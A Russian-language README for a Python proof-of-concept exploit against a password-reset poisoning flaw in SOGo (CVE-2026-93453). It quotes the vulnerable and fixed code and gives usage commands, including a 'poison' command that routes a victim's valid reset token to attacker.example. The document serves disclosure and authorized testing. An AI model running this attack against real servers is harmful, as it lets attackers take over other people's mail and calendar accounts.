
Python PoC для CVE-2026-93453 — уязвимость отравления ссылки сброса пароля в SOGo через контролируемый злоумышленником заголовок Origin, позволяющая перехватить токен сброса и захватить учётную запись.
Эксплойт для уязвимости, при которой SOGo формирует ссылку сброса пароля, отправляемую пользователям по электронной почте, напрямую из заголовка Origin, предоставленного клиентом. Анонимный злоумышленник, знающий логин жертвы, отправляет запрос на восстановление с контролируемым Origin; ссылка внутри отправленного по электронной почте сообщения "Password reset" затем указывает на хост злоумышленника, при этом встроенный JWT остаётся абсолютно действительным токеном восстановления. После одного клика жертвы токен попадает в лог доступа злоумышленника, и POST /SOGo/changePassword меняет его на новый пароль — полный захват учётной записи с почтой, календарями и контактами, без аутентификации на любом из этапов. Ветка электронной почты дополнительно пропускает проверку SOGoPasswordRecoveryEnabled (этот флаг проверяется только в ветке SecretQuestion), поэтому вектор через электронную почту работает даже когда оператор считает, что восстановление отключено.
Запись: https://www.cve.org/CVERecord?id=CVE-2026-93453
| Затронуто | SOGo < 5.12.11 (≤ 5.12.10) |
| Исправлено | 5.12.11 (allowlist SOGoPasswordRecoveryBaseURLs) |
| Предварительные условия | жертва с режимом восстановления SecondaryEmail; злоумышленник знает userName; жертва кликает по ссылке из письма |
| Воздействие | захват учётной записи |
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
[[request headers] objectForKey:@"origin"], // <-- raw client header
[request uri],
jwtToken]; // <-- valid HS256 JWT, 10 min TTL
Токенизированный URL сброса — это Origin + request URI + JWT, поэтому тот, кто задаёт заголовок, задаёт и хост, на который уйдёт секрет жертвы. Это отравление сброса пароля (CWE-640 / CWE-601), а не открытый редирект: JWT принимается /SOGo/changePassword независимо от того, какой хост его туда доставил.
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0)) // unset config -> 403
if (![baseUrls containsObject:serverUrl]) // foreign origin -> 403
В 5.12.11 посторонний Origin получает 403 ("Password recovery email in
error"); в ≤ 5.12.10 тот же запрос возвращает 200 и письмо отправляется —
именно на это различие ориентируется check.
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example
# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example
Только стандартная библиотека (Python 3.8+). Поддерживает --proxy, --insecure,
--timeout, --no-color и --prefix для нестандартных точек монтирования SOGo.
PoC не требует инфраструктуры злоумышленника: poison лишь заставляет сервер
отправить ссылку по почте, а отравленный хост — это то, что вы укажете в --origin.
На уязвимом экземпляре отправленная по почте ссылка становится
https://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT>
— токен попадает на ваш хост в момент клика жертвы.
check использует несуществующее канареечное имя пользователя, поэтому письмо
никогда не доставляется в реальный почтовый ящик; 200 = ветка электронной почты приняла посторонний Origin (сигнатура уязвимости), 403 = allowlist 5.12.11 или неустановленный SOGoPasswordRecoveryBaseURLs
(не эксплуатируется). Для окончательной самопроверки выполните poison для учётной записи, которой владеете,
и прочитайте хост ссылки в своём собственном почтовом ящике.
passwordRecoveryEmailAction)Только для авторизованного тестирования и исследований. Используйте только против систем, которыми владеете или на тестирование которых имеете явное разрешение.